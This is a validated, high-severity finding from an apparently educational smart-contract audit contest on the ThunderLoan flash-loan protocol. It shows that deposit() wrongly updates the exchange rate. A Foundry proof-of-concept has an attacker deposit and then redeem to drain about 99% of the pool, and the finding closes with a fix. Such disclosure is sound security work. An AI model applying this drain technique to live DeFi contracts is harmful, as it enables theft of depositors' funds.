Beginner FriendlyFoundryDeFiOracle
100 EXP
View results
Submission Details
Severity: high
Valid

Deposit shouldn't call `updateExchangeRate`

Summary

There's no reason to update the exchangeRate when a deposit is done. The calculatedFee is related to the flashloan functionality and has nothing to do with deposit.

Vulnerability Details

Updating the exchange rate after the deposit gives an attacker a way to drain all the funds of the available in the asset address.

PoC

Replace the state part of the ThunderLoanTest contract with this:

contract ThunderLoanTest is StdUtils, BaseTest {
uint256 constant AMOUNT = 10e18;
uint256 constant DEPOSIT_AMOUNT = AMOUNT * 2;
address liquidityProvider = address(123);
address iWantProblems = makeAddr("I want problems always!");
address user = address(456);
MockFlashLoanReceiver mockFlashLoanReceiver;
BadIntentions badIntentions;
uint256 maxUint256 = type(uint256).max;
uint256 public constant EXCHANGE_RATE_PRECISION = 1e18;

copy the following test:

function testLargeDepositThenRedeem() public setAllowedToken hasDeposits{
uint256 attackAmount = 6660e18;
AssetToken asset = thunderLoan.getAssetFromToken(tokenA);
tokenA.mint(iWantProblems, attackAmount);
uint256 protocolStartingBalance = tokenA.balanceOf(address(asset));
uint256 attackerStartingBalance = tokenA.balanceOf(address(iWantProblems));
console.log("Protocol started with %s", protocolStartingBalance);
console.log("Attacker started with %s", attackerStartingBalance);
vm.startPrank(iWantProblems);
tokenA.approve(address(thunderLoan), attackAmount);
thunderLoan.deposit(tokenA, attackAmount);
thunderLoan.redeem(tokenA, maxUint256);
vm.stopPrank();
uint256 protocolEndingBalance = tokenA.balanceOf(address(asset));
uint256 attackerEndingBalance = tokenA.balanceOf(address(iWantProblems));
console.log("Protocol ended with %s", protocolEndingBalance);
console.log("Attacker ended with %s", attackerEndingBalance);
console.log("Protocol lost", protocolStartingBalance - protocolEndingBalance);
console.log("Protocol lost %s % of the balance", (protocolStartingBalance - protocolEndingBalance) * 100 / protocolStartingBalance);
assertLt(protocolEndingBalance, 2e17);
}

The starting balance of the project comes from the hasDeposits modifier which makes the liquidityProvider address deposit 20e18 tokenA (which might as well be WETH).

Running 1 test for test/unit/ThunderLoanTest.t.sol:ThunderLoanTest
[PASS] testLargeDepositThenRedeem() (gas: 3238348)
Logs:
Protocol started with 20000000000000000000
Attacker started with 6660000000000000000000
Protocol ended with 20239279287913121
Attacker ended with 6679979760720712086879
Protocol lost 19979760720712086879
Protocol lost 99 % of the balance
Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 8.31ms

As we can see the protocol ends up with an amount lower than 2e17, losing over 99% of it's balance.

Impact

An attacker can steal all the protocol's balance.

Tools Used

Forge testing + Manual review

Recommendations

Don't update the exchange rate in the deposit function:

function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
AssetToken assetToken = s_tokenToAssetToken[token];
uint256 exchangeRate = assetToken.getExchangeRate();
uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
emit Deposit(msg.sender, token, amount);
assetToken.mint(msg.sender, mintAmount);
-- uint256 calculatedFee = getCalculatedFee(token, amount);
-- assetToken.updateExchangeRate(calculatedFee);
token.safeTransferFrom(msg.sender, address(assetToken), amount);
}
Updates

Lead Judging Commences

0xnevi Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

can't redeem because of the update exchange rate

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.